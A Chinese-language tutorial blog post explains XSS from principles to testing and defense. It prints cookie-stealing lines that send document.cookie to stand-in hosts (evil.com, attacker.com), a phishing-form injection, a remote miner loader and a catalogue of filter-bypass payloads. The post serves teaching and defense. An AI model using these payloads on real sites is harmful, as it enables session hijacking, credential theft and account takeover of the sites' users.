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一文搞懂XSS漏洞：从原理到攻防详解

网络安全 潘老师 原 1天前 9 ℃ (0) 扫码查看

XSS漏洞可是网络安全不能忽视的“危险分子”，今天，咱们就从浅入深，全面了解一下XSS漏洞。

一、XSS漏洞是什么？怎么产生的？

跨站脚本攻击，也就是我们常说的XSS漏洞。简单来讲，当应用程序把用户提交的数据，原封不动地发送到浏览器页面，却没有对这些数据进行合适的验证或者转义处理时，就给了XSS漏洞可乘之机。

浏览器有个同源策略，它就像一扇保护门，能保证只有发布Cookie的网站才能读取该网站的Cookie，以此来保护用户的隐私和安全。但XSS漏洞却能突破这扇“门”，攻击者会往网页里注入恶意脚本，这样就能窃取用户的Cookie，控制用户的网络行为，甚至结合CSRF（跨站请求伪造）进行更具针对性的攻击，导致用户信息泄露、账户被劫持等严重后果。

二、XSS漏洞有哪些类型？

XSS漏洞通常分为反射型（Reflected XSS）、存储型（Stored XSS）和DOM型（DOM – based XSS）这三类，它们的攻击方式各有特点。

  1. 反射型XSS：这种类型的XSS经常出现在搜索框、登录页面这些地方，用户输入的内容会马上显示在页面上。攻击者会把恶意脚本藏在URL里，诱导用户去点击这个链接，一旦用户点击，脚本就会执行。它有几个明显的特点：脚本不会在服务器上保存，只在一次请求 – 响应的过程中起作用；需要用户主动点击恶意链接；攻击者常用它来窃取用户的Cookie或者进行钓鱼欺骗。想要利用反射型XSS窃取Cookie，得满足两个条件：一是用户得点击攻击者精心制作的URL；二是目标网站存在反射型XSS漏洞，而且会在页面上显示未经过转义处理的用户输入内容。一文搞懂XSS漏洞：从原理到攻防详解
  2. 存储型XSS：存储型XSS堪称最危险的一类XSS漏洞。攻击者把恶意脚本提交到服务器端，这些脚本会被存进数据库、日志或者其他能长期保存数据的地方。之后，其他用户访问相关内容时，恶意脚本就会被加载并执行。像留言板、评论系统、论坛帖子、用户签名这些用户可以交互的区域，以及管理员在后台浏览用户内容时，都有可能触发存储型XSS。它的危害可不小，能影响所有访问该页面的用户，造成蠕虫式传播，甚至劫持管理员权限，而且攻击持续时间长，很难被发现。一文搞懂XSS漏洞：从原理到攻防详解
  3. DOM型XSS：DOM型XSS是基于浏览器中的文档对象模型（DOM）来进行攻击的。它的脚本注入和执行都在客户端完成，服务端并不直接参与。虽然攻击入口也是通过URL参数传递，但恶意代码不会出现在HTML源码里，而是在浏览器解析DOM的时候动态执行。这主要是因为客户端JavaScript里存在一些不安全的操作，比如document.write()、innerHTML、eval()等。就像下面这段代码：
<script>
  var url = document.location;
  url = unescape(url);
  var message = url.substring(url.indexOf('message=') + 8, url.length);
  document.write(message);
</script>

如果攻击者把URL设置成http://example.com/page.html?message=<script>alert(1)</script>，那么脚本里的document.write()就会把<script>alert(1)</script>写入页面，恶意脚本也就被执行了。需要注意的是，DOM型XSS和反射型XSS有点像，都需要用户点击特定的URL，但DOM型XSS的漏洞藏在前端JavaScript代码里。

三、XSS漏洞可能出现在哪些地方？

XSS漏洞出现的原因，说白了就是浏览器把用户输入的数据当成JavaScript代码执行了。下面通过一些常见场景，来看看XSS漏洞可能会在哪里出现。

  1. 表单输入字段：在下面这个例子里，keyword参数直接被嵌入到HTML页面中，既没过滤也没转义。
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是：<%= getParameter("keyword") %>
</div>

要是攻击者在搜索框输入"><script>alert('XSS')</script>，页面最终渲染出来的HTML就变成了input type="text" value=""><script>alert('XSS')</script>，恶意脚本就会马上执行。
2. URL参数注入：比如这样的URL https://example.com/search?query=<script>alert('XSS')</script> ，如果后台返回页面是<p>搜索结果：<%= request.getParameter("query") %></p> ，而且没有对数据进行转义处理，脚本就会直接执行。示例：name参数会直接显示在页面上。一文搞懂XSS漏洞：从原理到攻防详解
3. HTTP请求头注入：攻击者要是伪造请求头User - Agent: <script>alert('XSS')</script> ，而后台记录日志的代码是<p>访问者信息：<%= request.getHeader("User - Agent") %></p> ，一旦管理后台页面展示日志时没有对数据转义，管理员浏览时就会触发XSS。
4. 存储型XSS场景：类似留言功能，如果攻击者提交评论内容<script>fetch('http://evil.com/steal?c='+document.cookie)</script> ，后台把评论存入数据库INSERT INTO comments (content) VALUES ('<script>...</script>'); ，前台再渲染<div><%= comment.content %></div> ，那么所有访问该评论的用户都会受到攻击。
5. 错误信息中回显用户输入：当页面显示错误信息，比如<p>出错啦，您输入的用户名是：<%= request.getParameter("username") %></p> ，攻击者输入<script>alert('XSS')</script> ，错误页就会直接触发脚本执行。

四、XSS漏洞会带来哪些危害？

  1. 窃取用户Cookie：在搜索框、评论区这些地方，如果对用户输入的内容没有进行HTML转义处理，攻击者就能注入恶意脚本。像下面这段代码：
<script>
  new Image().src = "http://attacker.com/log?c=" + document.cookie;
</script>

用户一旦访问了含有这种恶意脚本的页面，Cookie信息就会被发送给攻击者，进而导致用户的session被劫持，账号被盗。
2. 钓鱼欺骗：用户昵称、签名、自我介绍这些内容在资料页展示时，如果直接输出，攻击者就能伪造各种界面或按钮。比如下面的代码：

<script>
  document.body.innerHTML = '<form action="http://attacker.com/phish"><input name="pwd"></form>';
</script>

用户可能会误以为这是系统提示，就主动提交了账号密码等信息。
3. 后台攻击：在存储型XSS场景中，攻击者发布含有恶意脚本的评论内容。当管理员在后台浏览时，脚本会在高权限的环境下执行。例如：

<script>
  fetch('/admin/deleteAll', { method: 'POST' });
</script>

这样攻击者就能借助管理员的权限来操作系统数据，甚至还能注入更多脚本，实现蠕虫式传播。
4. 页面劫持：网站从URL读取参数动态生成页面内容时，如果处理不当，也可能被注入脚本。比如http://example.com/page?msg=<script src="http://attacker.com/miner.js"></script> ，这样就能实现页面跳转、加载恶意代码，强制用户浏览挖矿脚本或其他攻击内容。
5. 高交互性诱导操作：现代前端框架有时会使用服务端渲染，如果模板里包含未清洗的变量，就会形成DOM型XSS。像下面这段代码：

<script>
  document.querySelector("#transferBtn").click();
</script>

结合CSRF，攻击者就能自动完成资金转移、信息更改等敏感操作。

五、如何查找XSS漏洞？

  1. 基本验证：可以把"><script>alert(document.cookie)</script> 这段代码当作测试样本，提交到所有可能接收用户输入的地方，像HTTP头、URL参数、前端表单等等。要是发现攻击字符串原样出现在响应中，那就有可能存在XSS漏洞。不过，很多应用会用黑名单等简单方法来过滤XSS攻击，但这些方法并不严密，攻击者可以通过一些手段绕过，比如：
    • 利用大小写混淆，像"><ScRiPt>alert(document.cookie)</ScRiPt> ，部分过滤器只匹配小写关键词，这样就能绕过。
    • 进行URL编码，"%3e%3cscript%3ealert(document.cookie)%3c/script%3e ，用这种方式绕过对特殊字符的拦截。
    • 采用标签嵌套，"><scr<script>ipt>alert(document.cookie)</scr</script>ipt> ，把<script>标签拆分成多段来绕过过滤器。
    • 在前面插入空字节，%00"><script>alert(document.cookie)</script> ，绕过部分语言或框架在处理字符串时的截断问题。
      需要注意的是，基于DOM的XSS漏洞，攻击载荷不会出现在服务器的响应内容里，用这种基本验证方法是发现不了的。
  2. 反射型XSS查找
    • 基本测试：把"><script>alert(document.cookie)</script> 注入到页面的各个参数中，看看是否会被反射回页面并执行。如果字符串原样出现在页面响应中，那就可能存在反射型XSS。
    • 常见注入位置与方法：在标签属性值、JavaScript字符串上下文、URL属性等位置都可以进行注入测试。比如返回页面中有<input type="text" name="name" value="test - text"> ，注入"><script>alert(1)</script> ；返回内容是<script>var a='test - text';</script> ，注入';alert(1);var b=' ；返回内容是<a href="test - text">Click here</a> ，注入<a href="javascript:alert(1)">Click here</a> 。
    • 利用常见标签和属性触发脚本执行：像<style onreadystatechange=alert(1)></style> 、<iframe onreadystatechange=alert(1)></iframe> 等，利用无需用户交互的事件属性，或者通过脚本伪协议注入，如<object data="javascript:alert(1)"></object> 等方式来测试。
    • HTML绕过技巧：包括标签名绕过，如大小写混淆<iMg onerror=alert(1) src=a> 、插入NULL字节<img%00onerror=alert(1) src=a> ；属性名绕过，如<img o%00nerror=alert(1) src=a> ；属性分隔绕过，如<img onerror='alert(1)'src=a> ；属性值编码绕过，如<img onerror=a%00lert(1) src=a> 等。
    • 绕过字符集与长度限制：可以使用非标准编码，如UTF - 7、US - ASCII、UTF - 16 ，或者拆分跨站脚本绕过长度限制，像下面这段代码：
<script>
  z = '<script src=';
  z += 'test.c';
  z += 'n/1.js><\/script>';
  document.write(z);
</script>

执行后就变成了<script src=test.cn/1.js></script> 。
– JavaScript层面的绕过技巧：使用Unicode编码关键字，如<script>a\u006cert(1)</script> ，或者结合eval() ，如<script>eval('a\u006cert(1)')</script> ；还可以替代点操作符，如<script>alert(document['cookie'])</script> 、<script>with(document)alert(cookie)</script> 。
3. 存储型XSS查找：存储型XSS漏洞的检测和反射型XSS有点像，但也有不同。提交特殊的恶意字符串后，要反复检查应用程序的各个页面和功能，不能放过任何一个可能存在漏洞的地方。另外，还要特别关注应用程序的管理员区域，看看非管理员用户能否控制相关数据。同时，也不要忽略所有可控的带外通道，比如HTTP消息头，检查它们是否存在潜在的XSS漏洞。
4. DOM型的XSS漏洞查找：检测DOM型XSS漏洞和前面两种类型不太一样，因为它的漏洞出现在客户端JavaScript中。可以检查客户端JavaScript里的危险DOM API，比如document.location、document.URL等，看看在使用这些API时，对用户输入的数据是怎么处理的。还要留意那些可能执行恶意脚本的JavaScript函数，像document.write()、eval() 等，检查是否有未经验证的用户输入被直接传递进去。此外，URL中的片段也可能存在漏洞，服务器一般不会解析# 后面的内容，如果应用程序对这部分数据处理不当，也可能导致XSS漏洞。

六、怎样防御XSS漏洞？

  1. 反射型与存储型XSS防御
    • 确认输入：要控制数据长度，保证输入的数据不会过长；限制合法字符，只允许预期的字符输入，比如用户名只允许字母和数字；使用正则表达式对输入数据进行匹配检查，根据不同的数据类型应用不同的规则，尽量缩小攻击面。
    • 确认输出：如果应用程序要把用户或第三方提交的数据插入到响应中，一定要对这些数据进行HTML编码，防止恶意代码被当作HTML或JavaScript代码执行。同时，要尽量避免直接把用户数据插入到JavaScript代码里，也不要把用户输入嵌入到标签属性中，尤其是当标签属性需要URL作为值的时候。对于一些允许用户提交HTML格式数据的应用，比如博客、论坛的富文本编辑器，可以使用专门的框架，像OWASP AntiSamy项目，来检查用户提交的HTML标记，确保里面没有能执行JavaScript的代码。
  2. DOM型XSS漏洞防御
    • 确认输入：在客户端，可以用JavaScript对输入进行验证，确保插入到文档中的数据只包含字母、数字和空白符。在服务端，也要对URL数据进行严格检查，比如查询字符串只能有一个参数，检查参数名的大小写，参数值只能包含字母和数字。
    • 确认输出：在将用户可控的DOM数据插入到文档之前，要进行HTML编码，防止恶意脚本执行。比如可以用PHP或JavaScript对数据进行编码处理。

XSS漏洞在网络安全中是个大问题，了解它的原理、类型、危害以及攻防方法，能帮助我们更好地保护网络安全。大家在开发和使用应用程序的时候，一定要多留个心眼，防范XSS漏洞的威胁。

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